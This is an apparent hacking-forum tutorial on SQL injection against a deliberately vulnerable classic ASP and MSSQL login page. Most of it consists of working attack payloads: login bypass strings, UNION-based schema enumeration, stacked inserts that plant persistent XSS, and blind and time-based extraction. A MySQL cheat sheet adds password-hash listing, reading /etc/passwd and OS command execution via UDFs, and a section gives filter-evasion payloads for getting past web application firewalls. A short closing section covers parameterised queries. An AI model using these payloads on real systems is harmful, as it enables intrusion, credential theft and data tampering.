Introduction:
For the purposes of this guide, we are going to create a classic ASP login system using a MSSQL database. We’ll be going through the vulnerabilities as well as how to fix them.

Credits:
Credits for this guide goes to: Anonymous, ShadowCloud and bugga.


Part 1 - The Setup:
To get started, we’ve created the following page which uses classic ASP.


Along with a SQL database named HFSQLi which has the following table.



The SQL script to create this table is included below, you can just add you own data to it.


PART 2 – Understanding a SQL query:
To get to grips with what a SQL query is, we’ll use the table we created above, if you have a copy of SQL you can set this up on your own computer to get a better understanding of SQLi, you can pick up a free copy of SQL server 2008 Express from the Microsoft website. A SQL SELECT query generally consists of three parts: SELECT - which specifies the data from the table to return FROM - the table you wish to return results from WHERE - the conditions which must be met before the data is returned
Keeping this in mind, we can write the following SELECT query based on the data we have in the table as indicated below:



SELECT Password
FROM tblusers
WHERE Username = ‘bugga’
Which will bring back bugga’s password:



The other entries are ignored because the UserName was not equal to the value in our WHERE clause.
You can also specify multiple WHERE clauses and even return more than one column like so:
SELECT Username, Password FROM tblusers WHERE Username = ‘ShadowCloud’ OR Username = ‘Anonymous’



The above illustrates the basics of a SQL query, the term SQL injection, refers injecting values which are used by a SQL query so the values returned were not the values the application intended to return, a good example would be the following.

SELECT Username, Password
FROM tblusers WHERE username = ‘TheValueTheUserEntered’
Instead of entering a value like admin, we enter a’OR 1= 1—

This effectively changes the SQL query to the following:

SELECT Username, Password
FROM tblusers
WHERE username = 'a'OR 1=1--'

SQL will check the table for a value and ask itself 2 questions to confirm whether the results should be returned, the first question being “Is the username for this row equal to a” for which it would of course answer with No, it isn’t BUT, because we have the OR part in our value, there is a second question, “Is 1 equal to 1” and since 1 is always equal to 1, all the rows are returned, as indicated below:



PART 3 -- Understanding SQLi:
I’ve added some code to display the results just so there’s some more clarity on what’s going on during the login process, the interesting piece of code which is vulnerable to SQLi in this example is the following:


A SQL command is being built up using the values we entered into the login form. If for instance we enter the username admin and the password SuperSecurePassword then the following SQL Query is built up:

SELECT * FROM tblusers WHERE username='admin' AND
password='SuperSecurePassword';
If we actually run that query directly in SQL then we get the following result:



If however, we enter credentials that are not in the table, like username admin with password as just password the following SQL query is built up.

SELECT * FROM tblusers WHERE username='admin' AND password='password';
And if that is ran in SQL we receive the following:



As you can see, there are no results.
In the event that no results are returned, we are not logged in, if the query finds results, then we’ll be logged in successfully. At the moment, this might appear to be a perfectly valid login system, if the wrong details are entered; invalid login is displayed, if the user details are correct, he sees the Logged In! message.

Clearly this developer was either extremely lazy, or has never heard of SQL injection before, as a simple test we add a single quote to the username:



Immediately we can see that this produced some unwanted results, taking a closer look at how the SQL query is being built up, we can see the following SQL query would have been produced:

SELECT * FROM tblusers WHERE username=''' AND password='a';

Running that same query in SQL management studio, we see the following result:



Here you can clearly see what happened, the extra single quote escaped the value and any text we add will now be added to the query, so comment out the rest of a line in SQL, we use the “--“ so let’s go ahead and add that so the query results in:

SELECT * FROM tblusers WHERE username=''--' AND password='aa';

If we give that to management studio, we are presented with the following:



This time round, there is no error at all since we have uncommented the part of the query that would have resulted in the error we saw earlier, so now the we know we only need a username to login and not a username and password anymore, let’s try to login with “admin’--“ and see the results:



Magic, we are now logged in, since the database only confirmed the existence of a user named admin, we are automatically logged in. The part of the query that confirmed that we entered the correct password has been commented out and no longer applies.

Part 2 – Getting more information:
So now that we know we can log in, what other details can we obtain from this little vulnerability? So we try to get a list of all the tables in the database using:
admin' UNION ALL SELECT name from sysobjects where type = 'u'--

But instead of table names, we get an error:



This is an error most of you will/have see(n) frequently. When you use UNION in your injection, the items you select from the database in the second part of the query (the union) must be the same amount of items that the first query select. In this case the first query selects *, this means that all columns in the table are returned.

We now, since we’ve already seen the table, that there are 4 columns in this table as indicated again below:



When you are busy injecting a site and you don’t know how many columns there are to select from, just keep adding null to the query like this:

2 columns
admin' UNION ALL SELECT name,null from sysobjects where type = 'u'--
3 columns
admin' UNION ALL SELECT name,null,null from sysobjects where type = 'u'--
4 columns

Aha! We are logged in, now we know that there are 4 columns in the first SELECT statement.

But, we were still logged in, without getting any extra information, apart from knowing the table has 4 columns (without having to look at the table).

So let’s just the query from a user that exists, admin, to a value that doesn’t exist, like “unknown” We should end up with the following input
1' UNION ALL SELECT name,null,null,null from sysobjects where type = 'u'--' AND password='asd';

And there we have it, a new error, showing us exactly what we wanted to see:



Now we know the name of the login table. We know the login table has 4 columns.
Side note: If the first column in the table was of type nvarchar, we would not get this conversion error, only the login failed message, since most table names are exactly that, actual names not just numbers, you can force this error message by doing the following:

1' UNION ALL SELECT null,CAST(name AS INT),null,null from sysobjects where type = 'u'--' AND password='asd';



In this case, SQL would be sent the following command:

SELECT * FROM tblusers WHERE username='1'
UNION ALL SELECT null, CAST (name AS INT),null,null from sysobjects where type = 'u'
--' AND password='asd';' AND password='sdf';

Since we are casting the name as an integer value, but we don’t have a number, the error will be displayed. So great, we now know that tblusers exists in the database, but what the other tables? We change the query to the following:

1' UNION ALL SELECT null,CAST(name AS INT),null,null from sysobjects where type = 'u' AND name not like 'tblusers'--

The SQL command would then be:

SELECT * FROM tblusers WHERE username='1'
UNION ALL SELECT null, CAST(name AS INT),null,null from sysobjects where type = 'u' AND name not like 'tblusers'--

And voila, we receive the following error:



To get the columns from here, we are going to need to obtain the ID for the table from sysobjects. So we try the following:

1' UNION ALL SELECT (id),name,id,id from sysobjects where xtype = 'u'—

And receive the following error:



This shows us that the query did bring back a value but since there is a conversion error, we don’t know what the value was, so we need to start guessing the value as follow:

1' UNION ALL SELECT (id),name,id,null from sysobjects where xtype = 'u'
AND ID < 100

If a value is brought back (there are tables with an ID smaller than 100) then we can start getting more specific, if not we keep searching until we can emulate the IDs we do have in the database. The first time I hit the error I have the value as

SELECT * FROM tblusers WHERE username='1'

UNION ALL SELECT (id),name,id,null from sysobjects where xtype = 'u'

AND ID < 10000000000

So now I know the correct ID for the table is somewhere between 10000000000 and 1000000000

That’s still a pretty big range, but the very next query tears up half the results and before you know it, I have 2 valid IDs.

1' UNION ALL SELECT (id),name,id,null from sysobjects where xtype = 'u'
AND ID = 2105058535
As well as the following query:

1'
UNION ALL SELECT (id),name,id,null from sysobjects where xtype = 'u'
AND ID = 2137058649

Both produce an error, telling us that the tables with those IDs does exist in the database.

Now we can start pulling the column names from them:

1'
UNION ALL SELECT COL_NAME(2137058649, 1),2,3,4 FROM tblusers

This will give us the first column name from the table with ID 2137058649
We can repeat the process with:

COL_NAME(2137058649, 2)
COL_NAME(2137058649, 3)
COL_NAME(2137058649, 4)

To get the other column names. This process can be repeated for any table in the database to return a full structure.

The following query shows me the column name from a table called SomeOtherTable
1' UNION ALL SELECT COL_NAME(2137058649, 4),2,3,4 FROM tblusers--' AND password='a'



This should enable you to obtain the database structure, the tables and the columns along with the data contained in those tables and columns.

PART 4 – Moving along

The previous injection was a string based SQL injection, that’s why we needed to add the single quote to “escape” from the query and write our own SQL. In the next part of this tutorial we will take a look at int based SQL injection, where we do not need to escape the value.

As a practical example I have created the following page which takes an ID (a number) and returns the corresponding record from SomeOtherTable in the database, here is the table itself:



The page is presented to the user as:



If you enter an ID, the corresponding record is returned from the database, so if we enter 1 as the lookup ID, we receive the following:


PART 4 – Moving along

The previous injection was a string based SQL injection, that’s why we needed to add the single quote to “escape” from the query and write our own SQL. In the next part of this tutorial we will take a look at int based SQL injection, where we do not need to escape the value.

As a practical example I have created the following page which takes an ID (a number) and returns the corresponding record from SomeOtherTable in the database, here is the table itself:



The page is presented to the user as:



If you enter an ID, the corresponding record is returned from the database, so if we enter 1 as the lookup ID, we receive the following:



In this example the query that is built up is:

SELECT * FROM SomeOtherTable WHERE id= 1

This should give us a good indication of what we need to mess around with it. In this example, we don’t need to escape by inserting a ‘ we can simply continue the query, or write a second query by terminating the first statement.

We could do enter 1 OR ID = 2 (Remember we got the column names in the previous example ?)

Which would mean the query is modified to :

SELECT * FROM SomeOtherTable WHERE id= 1 OR ID = 2

And produce the following results:



We could become inventive though, and terminate the first follow and follow it up with our own second query;
Like so

1; INSERT INTO SomeOtherTable (ContentString, Template, Title) VALUES ('MyValue','1','Injected')

The ; terminates the first statement and after that we create our own statement to insert new values into the database table.

If we select to lookup the values where the ID is 5, we are presented with the following:



Bingo, we are able to write data into this table and have it displayed, immediately you can think about doing a persistent XSS like this:

1; INSERT INTO SomeOtherTable (ContentString, Template, Title) VALUES ('MyValue','1','Injected<script>alert("TEST")</script>')

And if we do a lookup on value number 6, bingo:



Now we know the application is vulnerable to SQL injection and we also have a XSS vulnerability. With a bit of creativity you can create some really interesting attacks from here.

PART 5 - Friendly Error pages and Blind SQL injection

So far we’ve been able to deduce a lot because we received the actual error messages from SQL. One method which is more and more commonly being used to prevent the details of an error of being sent to the attacker is friendly error pages. You can configure friendly error pages instead of detailed error pages:

Here is an example of friendly error pages on this same site:



So this time round, if we produce an error, we do not receive any details about the error. This does not mean we cannot inject values, as an example with this setting enabled I’ll inject values into the SomeOtherTable as follow:

1; INSERT INTO SomeOtherTable (ContentString, Template, Title) VALUES ('WithFriendlyErrorPages','1','It still does not block an attack')

As you can see, the injection still worked, because we didn’t generate an error, the friendly error pages had no effect at all.



The main problem with friendly error pages are enabled, is that we no longer get the feedback we received earlier, so something like

'1' UNION ALL SELECT null,CAST(name AS INT ),null,null from sysobjects where type = 'u'

Which we used successfully on the login page earlier to see a table name, now produces this:



To circumvent this, we need to find a way to check if our queries do bring back a value we can either employ time based queries, or simply run queries until no error is returned, consider the following

1' UNION ALL SELECT null,CAST(name AS INT),null,null from sysobjects where type = 'u' AND name = 'NoSuchTable'--

Because there is no such table in the database, no conversion fails and no error is generated, which means we see the good old “Login Failed” page. This tells us that there really isn’t a table called NoSuchTable, the opposite is also true, if that query is changed to

1' UNION ALL SELECT null,CAST(name AS INT),null,null from sysobjects where type = 'u' AND name = '‘tblusers’'--

We receive an error, caused by the conversion failure for the name as int (Remember we are trying to CAST the name as a number, which causes the error).
Alternatively consider the following:

1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusersAS sys8)>1
and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)

Here we add a AND clause to the WHERE so unless the ASCII value of the first letter of the first user in the sysusers table is smaller than 300, no results are returned.

The first time we run this query results are returned, we then lower the value to 200, still some results, so we go to 100 and there are still results:



So we drop the value to 10:

1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusersAS sys8)>1
and 10>(select top 1 ascii(substring(name,1,1)) from sysusers)

This time, there are no results:



Eventually after much tampering I can see the value is below or equal to 100 but not above 90

1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusersAS sys8)>1
and 90<(select top 1 ascii(substring(name,1,1)) from sysusers)



This clearly shows us that the first letter of the username is 1
Moving on from enumerating the responses and calculating the values accordingly, you can also use time based queries, consider the following:

1 waitfor delay '0:0:19'--

In the event that no error is produced, the query will wait 19 seconds before returning a result, I’ve included a screenshot of the time this took in SQL server management studio below:



As you can see, the query waited for 19 seconds before finishing, during this time you’ll see the following in your browser:



We can extend this to something like

1 if (select user) = 'sa' waitfor delay '0:0:19'--

If the current user is the sa user, the page will wait 19 seconds before showing any results. This will give a clear indication of values in the database, without relying on error messages.

PART 6 - Database specific commands

So far we’ve mostly covered MSSQL, so here are a couple of other commands you might find helpful when dealing with MySQL rather than MSSQL.

Version:

SELECT @@version

Comments:

SELECT 1; #comment

SELECT /*comment*/1;

Current User:

SELECT user();

SELECT system_user();

List Users:

SELECT user FROM mysql.user; — priv

List Password Hashes:

SELECT host, user, password FROM mysql.user; — priv

Password Cracker:

John the Ripper will crack MySQL password hashes.

List DBA Accounts:

SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv


Current Database:

SELECT database()

List Databases:

SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0

SELECT distinct(db) FROM mysql.db — priv
List Columns:

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

List Tables:

SELECT table_schema,table_name FROM information_schema.tables
WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’

Find Tables From Column Name:

SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’

Select Nth Row:

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

Select Nth Char:

SELECT substr(‘abcd’, 3, 1); # returns c

Bitwise AND :

SELECT 6 & 2; # returns 2

SELECT 6 & 1; # returns 0

ASCII Value -> Char:

SELECT char(65); # returns A

Char -> ASCII Value:

SELECT ascii(‘A’); # returns 65

Casting:

SELECT cast(’1' AS unsigned integer);

SELECT cast(’123' AS char);

String Concatenation:

SELECT CONCAT(‘A’,'B’); #returns AB

SELECT CONCAT(‘A’,'B’,'C’); # returns ABC

If Statement:

SELECT if(1=1,’foo’,'bar’); — returns ‘foo’

Case Statement:

SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A

Avoiding Quotes:

SELECT 0×414243; # returns ABC

Time Delay:

SELECT BENCHMARK(1000000,MD5(‘A’));

SELECT SLEEP(5); # >= 5.0.12

Command Execution:

If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.

Local File Access:

UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.

SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system

Hostname, IP Address:

SELECT @@hostname;

Create Users:

CREATE USER test1 IDENTIFIED BY ‘pass1'; — priv

Delete Users:

DROP USER test1; — priv

Make User DBA:
GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv

Location of DB files:

SELECT @@datadir;

Default/System Databases:

information_schema (>= mysql 5.0)
Part 7 – WAF

WAF stands for Web Application Firewall or Web Application Filtering in some circles. It refers to the filtering of input on either a blacklist or whitelist approach. The concept of WAF came from IPS systems which focused on the HTTP Protocol. In most cases WAF employs complex regular expression to validate the input against a rule list.

In a whitelist approach, all data that does not much the filters in the list are blocked. If a user enters a value not contained within the rule list, the query is blocked. A much more common implementation in practice is the blacklist approach. When the blacklist approach is used, a rule list is set up and any data that matches the rules are blocked. Although a whitelist approach is much more secure, it can negatively impact user experience.

Here’s a list of commonly used filters as well as the methods employed to bypass these filters:

Filters||Evasion

'or 1=1-- || 'or 2=2--
alert(0) || %00alert(0)
<script>alert(0)</script> || <script type=vbscript>MsgBox(0)</script>
' or ''''='r || '/**/OR/**/''''='
<img src=x:x onerror=alert(0)//></img> || <img src=”x:x” onerror=”alert(0)”></img>
1 or 1=1 || (1)or(1)=(1)
eval(name) || x=this.name X(0?$:name+1)


What’s important to take into consideration with WAF is that it increases the attack surface of the application. There have been multiple accounts of WAF being vulnerable to XSS, SQLi and even being used as an attack vector for DDOS as well as remote code execution.

If you’re ever faced with a WAF to bypass here’s a common methodology you can follow to get past it:

1.Find out which characters / sequences are allowed by WAFs.

2. Make an obfuscated version of your injected payload.

3. Test it and watch for the WAF/Application response.

4. If it does not work, modify it and try step 2.

I’ve set up WAF to prevent us from using UNION ALL SELECT in part 3 we used it to gain more details:
admin' UNION ALL SELECT name from sysobjects where type = 'u'--

So let’s try to do the same thing with the WAF enabled:



As you can see it’s claiming page cannot be found, remember that this could also be a friendly error, rather than the error page you’re seeing above, the important thing here is that I’m getting a result of not found, when I know the page exists, since it works fine when I don’t use UNION ALL SELECT so let’s try to bypass that with an uppercase/lowercase combination like this:
UnioN All selEcT



Same result, so clearly they either have it in the exact case we used, or case doesn’t matter, but no big deal, let’s try something a bit more concealed:
UnioN%20All%20selEcT

And there we have it, WAF bypassed. Although this was a pretty typical and extremely silly WAF to bypass, the concept remains exactly the same for 99% of all WAFs out there. Just find new and interesting ways to effectively write the same thing and you should be good to go.

Countermeasures

So here’s the big question, we’ve seen SQLi at work here, but how do you prevent your own code from being hit by the attacks we’ve covered here?

You’ll find multiple sources tell you that simply doubling up on quotes will do the trick, but this completely ignores truncation errors. Sure truncation injections are a really rare breed, but they should not be ignored simply because it is rare. The same goes for most functions that are used to make strings “SQL safe” sure this adds an extra layer of protection, but so did the pretty weak WAF we used in our example.

There are 2 main things to adhere to which should prevent SQL injection completely and is actually practical enough for large applications:

1) Validation.

2) Parameterized queries.

By adhering to those 2 none of the SQL injections we used above would have worked, literally none. When you validate that numbers are indeed numbers there is no way to inject it. You cannot inject SQL when you have in your arsenal are numbers. The query will be executed correctly every single time. The main problem with this, would be when facing string based injections, since we can’t simply make sure everything is numbers, this is where prepared statements come into play, consider the following code:


The above code is still using a dynamic SQL command, however, in the above example the values are passed as parameters and that nasty SQLi issue is taken care of completely since the entire value is encapsulated and a single quote won’t break out of the string literal.

An even better way to do this, would be to utilize a stored procedure, we’ve included that code below:


Using either of these techniques, SQL injection goes completely out of the window and your site won’t be affected. Those 2 simple rules will keep you safe, it really is a lot of work, but doing proper validation and interacting with SQL in a secure way, is really all it takes.